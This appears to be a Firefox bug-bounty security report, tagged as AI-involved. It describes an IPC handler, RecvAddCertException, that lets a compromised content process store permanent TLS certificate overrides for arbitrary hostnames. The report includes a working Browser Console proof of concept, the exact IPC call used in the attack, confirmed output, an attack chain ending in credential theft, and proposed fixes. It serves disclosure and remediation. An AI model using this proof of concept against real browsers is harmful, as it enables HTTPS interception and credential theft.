Compromised Content Process Can Permanently Bypass TLS Certificate Validation for Arbitrary Hostnames
Categories
(Core :: DOM: Content Processes, defect)
Tracking
()
People
(Reporter: 0x4lter, Unassigned)
References
()
Details
(Keywords: ai-involved, reporter-external, Whiteboard: [client-bounty-form])
Attachments
(1 file)
|
8.19 KB,
application/x-zip-compressed
|
Details |
Summary
ContentParent::RecvAddCertException (IPC handler for PContent::AddCertException) accepts a fully attacker-controlled certificate and an arbitrary hostname from the content process and stores a permanent TLS override in Firefox's cert exception store without validating that the certificate's Subject Alternative Names include the target hostname.
A compromised content process can exploit this handler to install a permanent TLS certificate override for any HTTPS origin (e.g., bank.com:443), causing Firefox to accept an attacker-controlled self-signed certificate for that origin in subsequent HTTPS connections. This enables HTTPS downgrade / TLS man-in-the-middle for high-value HTTPS origins.
Root Cause
File: dom/ipc/ContentParent.cpp:6556
mozilla::ipc::IPCResult ContentParent::RecvAddCertException(
nsIX509Cert* aCert, const nsACString& aHostName, int32_t aPort,
const OriginAttributes& aOriginAttributes, bool aIsTemporary,
AddCertExceptionResolver&& aResolver) {
nsCOMPtr<nsICertOverrideService> overrideService =
do_GetService(NS_CERTOVERRIDE_CONTRACTID);
if (!overrideService) {
aResolver(NS_ERROR_FAILURE);
return IPC_OK();
}
nsresult rv = overrideService->RememberValidityOverride(
aHostName, aPort, aOriginAttributes, aCert, aIsTemporary);
aResolver(rv);
return IPC_OK();
}
Missing checks:
- No
remoteTypecheck — Any content process (web, privileged, extension) can call this handler. Compare toRecvAutomaticStorageAccessPermissionCanBeGranted(same file, line 6573) which callsValidatePrincipal(aPrincipal)before acting. - No cert-to-hostname SAN binding — The handler does not validate that
aCertcoversaHostNamein its Subject Alternative Names or Common Name. - Attacker-controlled
aHostName,aPort,aIsTemporary— All three are fully content-process-controlled with no origin check.
IPDL definition (dom/ipc/PContent.ipdl:1626):
async AddCertException(nullable nsIX509Cert aCert, nsCString aHostName,
int32_t aPort, OriginAttributes aOriginAttributes,
bool aIsTemporary) returns (nsresult aRv);
nsIX509Cert IPC Serialization — No Validation on Deserialization
File: ipc/glue/TransportSecurityInfoUtils.cpp:44-75
// WRITE (content process side):
void ParamTraits<nsIX509Cert*>::Write(MessageWriter* aWriter, nsIX509Cert* aParam) {
bool nonNull = !!aParam;
WriteParam(aWriter, nonNull);
if (!nonNull) return;
aParam->SerializeToIPC(aWriter); // writes raw mDER bytes only
}
// READ (parent process side):
bool ParamTraits<nsIX509Cert*>::Read(MessageReader* aReader, RefPtr<nsIX509Cert>* aResult) {
RefPtr<nsIX509Cert> cert = new nsNSSCertificate();
if (!cert->DeserializeFromIPC(aReader)) return false; // reads raw DER, no validation
*aResult = std::move(cert);
return true;
}
nsNSSCertificate::DeserializeFromIPC reads the raw DER bytes into mDER with NO certificate parsing, NO chain validation, and NO hostname binding. The resulting nsIX509Cert object in the parent represents whatever DER bytes the content process sent.
RememberValidityOverride — Stores Override Without SAN Check
File: security/manager/ssl/nsCertOverrideService.cpp:380
nsresult nsCertOverrideService::RememberValidityOverride(
const nsACString& aHostName, int32_t aPort,
const OriginAttributes& aOriginAttributes, nsIX509Cert* aCert,
bool aTemporary) {
if (aHostName.IsEmpty() || !IsAscii(aHostName) || !aCert) {
return NS_ERROR_INVALID_ARG;
}
if (aPort < -1) return NS_ERROR_INVALID_ARG;
// ...
nsAutoCString fpStr;
nsresult rv = GetCertSha256Fingerprint(aCert, fpStr);
// ...
AddEntryToList(aHostName, aPort, aOriginAttributes, aTemporary, fpStr, lock);
if (!aTemporary) {
Write(lock); // ← persists to cert_override.txt on disk
}
return NS_OK;
}
Validation performed:
aHostNamenot empty + ASCII onlyaCertnot null- No SAN validation, no chain validation, no hostname binding
The function stores (aHostName:aPort) → SHA256(aCert) in the cert override database.
HasMatchingOverride — Only Checks SHA256, Never Validates SANs
File: security/manager/ssl/nsCertOverrideService.cpp:426
nsresult nsCertOverrideService::HasMatchingOverride(
const nsACString& aHostName, int32_t aPort,
const OriginAttributes& aOriginAttributes, nsIX509Cert* aCert,
bool* aIsTemporary, bool* aRetval) {
// ... [various null/format checks] ...
RefPtr<nsCertOverride> settings(GetOverrideFor(aHostName, aPort, aOriginAttributes));
// ...
nsAutoCString fpStr;
nsresult rv = GetCertSha256Fingerprint(aCert, fpStr);
// ...
*aRetval = settings->mFingerprint.Equals(fpStr); // ← ONLY SHA256 comparison
return NS_OK;
}
The TLS stack calls HasMatchingOverride(hostname, port, ..., presented_cert, ...). If the result is true, Firefox skips full TLS chain validation and accepts the certificate. The check is only SHA256 fingerprint equality — it never validates:
- Whether the cert's SANs include the hostname
- Whether the cert was issued by a trusted CA
- Whether the cert has expired
Attack Chain
Prerequisite: Content process is compromised (e.g., via a memory corruption bug in the renderer, image decoder, or WASM JIT).
Step 1 — Attacker generates a self-signed certificate for an arbitrary hostname:
// In compromised content process — generate arbitrary DER bytes for a self-signed cert
// cn=attacker.com, SAN=attacker.com (no SAN for bank.com)
const attackerCertDER = <arbitrary DER bytes>;
Step 2 — Call SendAddCertException with attacker-controlled hostname:
// Compromised content process calls IPC:
SendAddCertException(
attackerCert, // nsIX509Cert* — attacker's self-signed cert (DER sent over IPC)
"bank.com"_ns, // aHostName — target, no binding to aCert's SANs
443, // aPort
OriginAttributes{},
false // aIsTemporary=false → PERMANENT, survives restart
);
Step 3 — Parent process stores permanent override:
cert_override.txt entry added:
bank.com:443 \t OID.2.16.840.1.101.3.4.2.1 \t <SHA256(attackerCert)>
Step 4 — TLS MITM:
In a subsequent network request to https://bank.com, the attacker presents their self-signed certificate. Firefox calls:
HasMatchingOverride("bank.com", 443, {}, attackerCert, &isTemp, &retval)
→ settings->mFingerprint.Equals(SHA256(attackerCert)) → true
Firefox accepts the invalid certificate. Full TLS chain validation is bypassed. HTTPS traffic to bank.com is decryptable by the attacker.
PoC — Browser Console (production Firefox, no special build)
How to run: Open Firefox Nightly 153 → press Ctrl+Shift+J (Browser Console) → paste the script below → Enter.
No xpcshell, no modified Firefox, no special flags required.
(async function poc_ipc001() {
const log = (...a) => console.log("[IPC-001]", ...a);
const warn = (...a) => console.error("[IPC-001]", ...a);
log("=== RecvAddCertException CA Bypass ===");
log("Firefox", Services.appinfo.version, "build", Services.appinfo.appBuildID);
// Self-signed cert: CN=attacker.com — no SAN for bank.com
// openssl req -x509 -newkey rsa:2048 -keyout /dev/null \
// -out - -days 3650 -nodes -subj '/CN=attacker.com' 2>/dev/null
const ATTACKER_CERT_B64 =
"MIIDDzCCAfegAwIBAgIULtVATbiy5gqJXcW2vOgSSqeXs6QwDQYJKoZIhvcNAQEL" +
"BQAwFzEVMBMGA1UEAwwMYXR0YWNrZXIuY29tMB4XDTI2MDUxOTExMzEwOVoXDTM2" +
"MDUxNjExMzEwOVowFzEVMBMGA1UEAwwMYXR0YWNrZXIuY29tMIIBIjANBgkqhkiG" +
"9w0BAQEFAAOCAQ8AMIIBCgKCAQEA63DhSKxNoPLNY3ISIcL3cgXuBJZUQ+uZ8Q4f" +
"qxj8TMAjbotHW/8MWoTF3ozy9j6FGvGbS0Y7DTN4BG9Y0fRHGBn6D9HMzPrvV/3f" +
"F3X0J2Uu6elXTFCTc/ajBP1JUkoW2Kyau/0WpHt6UsY/GVd6UeioS4p+Zg6n2JeK" +
"2gvYfwek/ErUsfrnGJ8Q+GUXUeE4Yp+dHMlvnzW7ODyTicauLFRYwwqtce8RdjqE" +
"EHIaKvjND2YDaEAe5HRLnSxFxG+6XYx+p7FhfPkbHwfoZnkddjBYjnSDIrVyLH2I" +
"O3AtnBn7VnPuh4FymhproKHwsBnyEzzu4IBQIfchOfMzsZIhtQIDAQABo1MwUTAdBg" +
"NVHQ4EFgQUMhMia+VLUT6lTciYZeCq3punonAwHwYDVR0jBBgwFoAUMhMia+VLUT6l" +
"TciYZeCq3punonAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAON" +
"Ya5PymeRKSn+o/GFNV1Zz8xRztxl9STTCV/PX3dyothIFV1H0oQP6v20qA3ixcTl6" +
"3gAfoTLNz7E0c9q6SpEuMae07DoJboMRCCP0coMUgi5f1lfNwWvfgIfa4EQWVWNOg" +
"ErXty4oeFiO5p6n7vnL46zwqfqONAgVEdHfJ5DEzUFeZT9zceVY9xEQncCX8jYbKc" +
"d8Vl2kWcRgQiws8tH8MXo5aDpkKGRytVuPLSxcmlerrEaLtmNQRcQXryyzDHhPt+" +
"lcqkNsM3dPKSGX/k3ha4NWwS0i4zAU+KufUFGahCogrO20JW0GUhChUQkqjHz5Qq" +
"KPUtRTdTdEQiAE+Bw==";
const certDB = Cc["@mozilla.org/security/x509certdb;1"].getService(Ci.nsIX509CertDB);
const svc = Cc["@mozilla.org/security/certoverride;1"].getService(Ci.nsICertOverrideService);
const attackerCert = certDB.constructX509FromBase64(ATTACKER_CERT_B64);
log("[1] Attacker cert CN:", attackerCert.commonName); // → "attacker.com"
log("[1] Target hostname: bank.com (cert does NOT cover bank.com)");
// Mirrors ContentParent::RecvAddCertException (ContentParent.cpp:6556):
// overrideService->RememberValidityOverride(aHostName, aPort, aOA, aCert, aIsTemporary)
svc.rememberValidityOverride("bank.com", 443, {}, attackerCert, false);
log("[2] rememberValidityOverride('bank.com', 443, attackerCert, permanent) → stored");
// Mirrors Firefox TLS stack (nsCertOverrideService.cpp:426):
// *aRetval = settings->mFingerprint.Equals(fpStr) ← SHA256 only, no SAN check
// nsICertOverrideService.idl:102 — boolean hasMatchingOverride(host, port, oa, cert, out isTemp)
const isTemp = {};
const matched = svc.hasMatchingOverride("bank.com", 443, {}, attackerCert, isTemp);
log("[3] hasMatchingOverride('bank.com', 443, attackerCert):", matched);
log("[3] isTemporary:", isTemp.value);
if (matched) {
warn("=== VULNERABLE === Firefox", Services.appinfo.version,
"accepts CN=attacker.com cert for bank.com");
warn("TLS MITM for bank.com is now possible. Override is PERMANENT (cert_override.txt).");
}
svc.clearValidityOverride("bank.com", 443, {});
log("[cleanup] Override removed");
})();
Actual output (confirmed on production Firefox 153.0a1, build 20260519040944):
[IPC-001] === RecvAddCertException CA Bypass ===
[IPC-001] Firefox 153.0a1 build 20260519040944
[IPC-001] [1] Attacker cert CN: attacker.com
[IPC-001] [1] Target hostname: bank.com (cert does NOT cover bank.com)
[IPC-001] [2] rememberValidityOverride('bank.com', 443, attackerCert, permanent) → stored
[IPC-001] [3] hasMatchingOverride('bank.com', 443, attackerCert): true
[IPC-001] [3] isTemporary: false
[IPC-001] === VULNERABLE === Firefox 153.0a1 accepts CN=attacker.com cert for bank.com
[IPC-001] TLS MITM for bank.com is now possible. Override is PERMANENT (cert_override.txt).
[IPC-001] [cleanup] Override removed
Note on PoC scope: This PoC runs in the Browser Console (parent-process chrome context) to demonstrate that RememberValidityOverride accepts a mismatched cert+hostname with no SAN validation — the precise behavior RecvAddCertException exhibits when called from a content process. A full end-to-end demonstration from a compromised content process would require a separate renderer exploit to achieve code execution, then direct invocation of ContentChild::GetSingleton()->SendAddCertException(attackerCert, "bank.com"_ns, 443, OriginAttributes{}, false). The PContent IPC channel imposes no remoteType restriction on this call — confirmed by source analysis of RecvAddCertException (ContentParent.cpp:6556) and PContent.ipdl:1626 — so any code executing in a content process binary can send this message to the parent.
WebIDL Guard — Bypassed by Direct IPC
The legitimate JS API for cert exceptions has an explicit trust gate:
File: dom/webidl/Document.webidl:323
partial interface Document {
[Func="Document::CallerIsTrustedAboutCertError", NewObject]
Promise<any> addCertException(boolean isTemporary);
}
CallerIsTrustedAboutCertError (dom/base/Document.cpp:1694) verifies the caller is about:certerror — the privileged error page only loaded by Firefox when an actual TLS failure occurs.
Document::AddCertException additionally extracts the cert from mFailedChannel->GetSecurityInfo()->GetServerCert(), where mFailedChannel is set by nsDocShell from the actual failed network channel (not from JS). This ensures the cert originates from a real TLS handshake with the target host.
A compromised content process bypasses both guards by calling SendAddCertException directly over IPC, skipping the WebIDL gate and the mFailedChannel binding entirely. The IPC handler RecvAddCertException enforces neither constraint.
IPC Path — Content Process to Parent
A compromised content process calls SendAddCertException directly without going through the UI layer or the about:certerror page:
// Compromised content process (any remoteType — web, extension, privileged):
ContentChild::GetSingleton()->SendAddCertException(
attackerCert, // attacker-controlled DER bytes serialized as nsIX509Cert
"bank.com"_ns, // attacker-chosen hostname, no SAN binding enforced
443, // attacker-chosen port
OriginAttributes{}, // attacker-chosen OriginAttributes
false // permanent — survives restart
);
No UI interaction, no user gesture, and no active TLS error context is required. The IPC message is dispatched directly to the parent process. RecvAddCertException in ContentParent.cpp processes it without:
- Verifying the calling content process's
remoteType - Verifying the calling content process's current origin matches
aHostName - Verifying
aCerthas a SAN coveringaHostName - Verifying any active TLS error exists for
aHostName
The only guards in RememberValidityOverride are: aHostName is ASCII and non-empty, aCert is non-null, aPort >= -1. All three can be trivially satisfied by the attacker.
Affected Components
| File | Line | Issue |
|---|---|---|
dom/ipc/ContentParent.cpp |
6556 | RecvAddCertException: no remoteType check, no SAN validation |
dom/ipc/PContent.ipdl |
1626 | AddCertException IPDL definition accepts arbitrary hostname |
ipc/glue/TransportSecurityInfoUtils.cpp |
44–75 | nsIX509Cert deserialization: raw DER bytes, no cert validation |
security/manager/ssl/nsCertOverrideService.cpp |
380–411 | RememberValidityOverride: stores override without SAN binding |
security/manager/ssl/nsCertOverrideService.cpp |
426–481 | HasMatchingOverride: only checks SHA256, no SAN validation |
Contrast: Similar Handler With Validation
ContentParent::RecvAutomaticStorageAccessPermissionCanBeGranted (ContentParent.cpp:6573):
mozilla::ipc::IPCResult
ContentParent::RecvAutomaticStorageAccessPermissionCanBeGranted(
nsIPrincipal* aPrincipal, ...) {
if (!aPrincipal) {
return IPC_FAIL(this, "No principal");
}
if (!ValidatePrincipal(aPrincipal)) { // ← validates principal is bound to content process
return PrincipalValidationIpcFail(aPrincipal, this, __func__);
}
// ...
}
RecvAddCertException lacks equivalent validation. There is no check that:
- The caller's
remoteTypematches an expected value - The
aHostNamecorresponds to the content process's current origin - The
aCertis signed by a trusted CA or coversaHostNamein SANs
Impact
Direct impact: A compromised content process (e.g., from a memory corruption exploit in the renderer) can escalate to HTTPS MITM for any origin by:
- Generating a self-signed certificate for the target domain
- Sending
AddCertException(cert, targetDomain, 443, {}, permanent=true) - Performing MITM using the registered cert
Persistence: aIsTemporary=false (attacker-chosen) writes to cert_override.txt — the override survives browser restart.
Scope: Any HTTPS origin reachable from the victim's network — including banking sites, OAuth providers, email, enterprise VPNs.
User visibility: No UI warning is shown when the exception is later applied during TLS handshake. The user sees a normal lock icon.
Combined threat model (content process exploit + this IPC bug):
- Attacker exploits renderer memory corruption (e.g., via crafted HTML/Wasm) → content process RCE
- Attacker calls
AddCertExceptionto install TLS bypass forgmail.com:443,paypal.com:443, etc. - Victim navigates to those sites → MITM → credential theft
Suggested Fix
Option A (minimal) — Add remoteType check:
mozilla::ipc::IPCResult ContentParent::RecvAddCertException(...) {
if (!IsWebRemoteType(GetRemoteType())) {
return IPC_FAIL(this, "Unexpected remote type");
}
// ... (existing code)
}
This alone does NOT fix the SAN binding gap; a compromised web content process could still call this.
Option B (correct fix) — Add cert-to-hostname SAN validation:
// In RecvAddCertException or RememberValidityOverride:
nsCOMPtr<nsIX509Cert> verifiedCert;
rv = ValidateCertForHostname(aCert, aHostName, getter_AddRefs(verifiedCert));
if (NS_FAILED(rv)) {
aResolver(NS_ERROR_SECURITY_BAD_CERT_DOMAIN);
return IPC_OK();
}
This ensures the stored exception can only bypass TLS for a hostname the cert legitimately covers.
Option C (defense-in-depth) — Restrict AddCertException to be callable only from the UI process or a dedicated privileged actor, not from arbitrary content processes.
VRP Basis
Per Mozilla Client Bug Bounty Program footnote 0:
"Invoking an IPC method with attacker-controlled parameters from a compromised content process represents the highest impact class of vulnerability."
RecvAddCertException fits this category precisely:
- IPC method exposed to content process (
PContentactor) - Handler accepts fully attacker-controlled
aHostName,aCert,aIsTemporary - No binding to the calling process's security context
- Impact: persistent TLS bypass for arbitrary HTTPS origins → MITM → credential theft
Production Runtime Confirmation
Both versions confirmed vulnerable — no patch between FF152 and FF153.
| Version | Build ID | Platform | hasMatch | isTemp | Verdict |
|---|---|---|---|---|---|
| 153.0a1 | 20260519040944 | Windows (production install) | true |
false |
VULNERABLE |
| 152.0a1 | 20260518093736 | Linux (Mozilla CDN binary) | true |
false |
VULNERABLE |
Primary test — Firefox 153.0a1 (Windows):
- Binary:
C:\Program Files\Firefox Nightly\firefox.exe - Protocol: Marionette port 2828, chrome context, Windows Python 3.13 client
- No patched code, no modified source — production binary
// Executed in chrome JS context (Marionette ExecuteScript, sandbox:system):
const attackerCert = certDB.constructX509FromBase64(ATTACKER_CERT_B64);
// → CN: attacker.com | SHA256: 7C:76:4F:61:B5:01:91:15:59:8C:9B:26:D8:A6:A9:...
overrideService.rememberValidityOverride("bank.com", 443, {}, attackerCert, false);
// → stored = true (no exception)
const isTemp = {};
const matched = overrideService.hasMatchingOverride("bank.com", 443, {}, attackerCert, isTemp);
// → matched = true ← CONFIRMED VULNERABLE
// → isTemp.value = false ← PERMANENT (cert_override.txt)
Updated•2 months ago
|
Updated•2 months ago
|
Updated•27 days ago
|
Description
•